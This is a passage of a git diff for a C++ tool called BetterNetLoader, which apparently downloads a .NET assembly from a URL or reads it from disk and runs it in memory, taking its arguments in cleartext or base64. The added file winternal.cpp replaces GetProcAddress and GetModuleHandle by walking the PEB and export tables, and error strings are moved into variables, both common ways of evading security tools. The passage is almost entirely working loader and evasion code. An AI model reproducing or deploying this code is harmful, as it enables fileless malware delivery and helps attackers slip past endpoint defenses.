(!ReadFileFromURLA(location, &AssemblyBytes, &AssemblySize)) { + printf(s_err_read_url, location); return 1; } + } + else { + if (!ReadLocalFileA(location, &AssemblyBytes, &AssemblySize)) { + printf(s_err_read_local, location); + return 1; + } + } - size_t convertedChars = 0; - for (int i = 2; i < argc; i++) { - errno_t err = mbstowcs_s(&convertedChars, arguments + wcslen(arguments), totalLen, argv[i], _TRUNCATE); - if (err != 0) { - printf("[-] mbstowcs_s failed with error code: %d\n", err); - HeapFree(GetProcessHeap(), 0, arguments); + // Process the arguments flag. + if (argc > 3) { + if (strcmp(argv[3], s_b64_flag) == 0) { + if (argc < 5) { + print_usage(argv[0]); + HeapFree(GetProcessHeap(), 0, AssemblyBytes); return 1; } - if (i < argc - 1) { - wcscat_s(arguments, totalLen, L" "); + std::string decodedStr = base64_decode(argv[4], false); + int wideCharLen = MultiByteToWideChar(CP_ACP, 0, decodedStr.c_str(), -1, NULL, 0); + if (wideCharLen == 0) { + printf(s_err_mb_to_wc_len); + HeapFree(GetProcessHeap(), 0, AssemblyBytes); + return 1; } + arguments = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, wideCharLen * sizeof(WCHAR)); + if (!arguments) { + printf(s_err_heap_alloc_wc); + HeapFree(GetProcessHeap(), 0, AssemblyBytes); + return 1; + } + if (MultiByteToWideChar(CP_ACP, 0, decodedStr.c_str(), -1, arguments, wideCharLen) == 0) { + printf(s_err_mb_to_wc_conv); + HeapFree(GetProcessHeap(), 0, arguments); + HeapFree(GetProcessHeap(), 0, AssemblyBytes); + return 1; + } + } + else if (strcmp(argv[3], s_a_flag) == 0) { + if (argc < 5) { + print_usage(argv[0]); + HeapFree(GetProcessHeap(), 0, AssemblyBytes); + return 1; + } + // Concatenate all cleartext arguments from argv[4] onward. + size_t totalLen = 0; + for (int i = 4; i < argc; i++) { + totalLen += strlen(argv[i]) + 1; + } + arguments = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, totalLen * sizeof(WCHAR)); + if (!arguments) { + printf(s_err_heap_alloc_args); + HeapFree(GetProcessHeap(), 0, AssemblyBytes); + return 1; + } + arguments[0] = L'\0'; + for (int i = 4; i < argc; i++) { + size_t currentLen = wcslen(arguments); + size_t convertedChars = 0; + if (mbstowcs_s(&convertedChars, arguments + currentLen, totalLen - currentLen, argv[i], _TRUNCATE) != 0) { + printf(s_err_mbstowcs, i); + HeapFree(GetProcessHeap(), 0, arguments); + HeapFree(GetProcessHeap(), 0, AssemblyBytes); + return 1; + } + if (i < argc - 1) { + wcscat_s(arguments, totalLen, s_space); + } + } + } + else { + print_usage(argv[0]); + HeapFree(GetProcessHeap(), 0, AssemblyBytes); + return 1; } } else { arguments = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WCHAR)); if (!arguments) { - printf("[-] HeapAlloc failed for empty arguments\n"); + printf(s_err_heap_alloc_empty); + HeapFree(GetProcessHeap(), 0, AssemblyBytes); return 1; } arguments[0] = L'\0'; } - if (!ReadFileFromURLA(url, &AssemblyBytes, &AssemblySize)) { - puts("[-] ReadFileFromURLA Failed"); - HeapFree(GetProcessHeap(), 0, arguments); - return 1; - } - - if (DotnetExecute(AssemblyBytes, AssemblySize, (PWSTR)L"MyAppDomain", arguments, &OutputBuffer, &OutputLength)) { - puts("[-] DotnetExecute Failed"); + // Execute the .NET assembly. + if (DotnetExecute(AssemblyBytes, AssemblySize, (PWSTR)s_myappdomain, arguments, &OutputBuffer, &OutputLength)) { + puts(s_err_dotnet); } else { - printf("\n\n%s", OutputBuffer); + printf(s_output, OutputBuffer); } HeapFree(GetProcessHeap(), 0, AssemblyBytes); diff --git a/BetterNetLoader/winternal.cpp b/BetterNetLoader/winternal.cpp new file mode 100644 index 0000000..56b70a6 --- /dev/null +++ b/BetterNetLoader/winternal.cpp @@ -0,0 +1,73 @@ +#include +#include + +// Replacement for GetProcAddress. +FARPROC GetProcAddressReplacement(IN HMODULE hModule, IN LPCSTR lpApiName) { + PBYTE pBase = (PBYTE)hModule; + + // Get DOS header and validate signature. + PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase; + if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) + return NULL; + + // Get NT headers and validate signature. + PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew); + if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) + return NULL; + + // Get the optional header. + IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader; + + // Get the export directory. + PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + // Get arrays for names, addresses, and ordinals. + PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames); + PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions); + PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals); + + // Loop through exported functions. + for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) { + CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]); + PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]); + if (strcmp(lpApiName, pFunctionName) == 0) { + return (FARPROC)pFunctionAddress; + } + } + return NULL; +} + +// Simple case-insensitive wide-string comparison. +bool IsStringEqual(LPCWSTR a, LPCWSTR b) { + return (wcscmp(a, b) == 0); +} + +// Replacement for GetModuleHandle. +HMODULE GetModuleHandleReplacement(IN LPCWSTR szModuleName) { +#ifdef _WIN64 + PPEB pPeb = (PPEB)(__readgsqword(0x60)); +#elif _WIN32 + PPEB pPeb = (PPEB)(__readfsdword(0x30)); +#endif + + PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr); + PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink); + + while (pDte) { + if (pDte->FullDllName.Length != 0) { + if (IsStringEqual(pDte->FullDllName.Buffer, szModuleName)) { +#ifdef STRUCTS + return (HMODULE)(pDte->InInitializationOrderLinks.Flink); +#else + return (HMODULE)pDte->Reserved2[0]; +#endif + } + } + else { + break; + } + pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte); + } + return NULL; +} \ No newline at end of file diff --git a/BetterNetLoader/winternal.h b/BetterNetLoader/winternal.h new file mode 100644 index 0000000..024bb5a --- /dev/null +++ b/BetterNetLoader/winternal.h @@ -0,0 +1,5 @@ +#pragma once +#include + +FARPROC GetProcAddressReplacement(IN HMODULE hModule, IN LPCSTR lpApiName); +HMODULE GetModuleHandleReplacement(IN LPCWSTR szModuleName);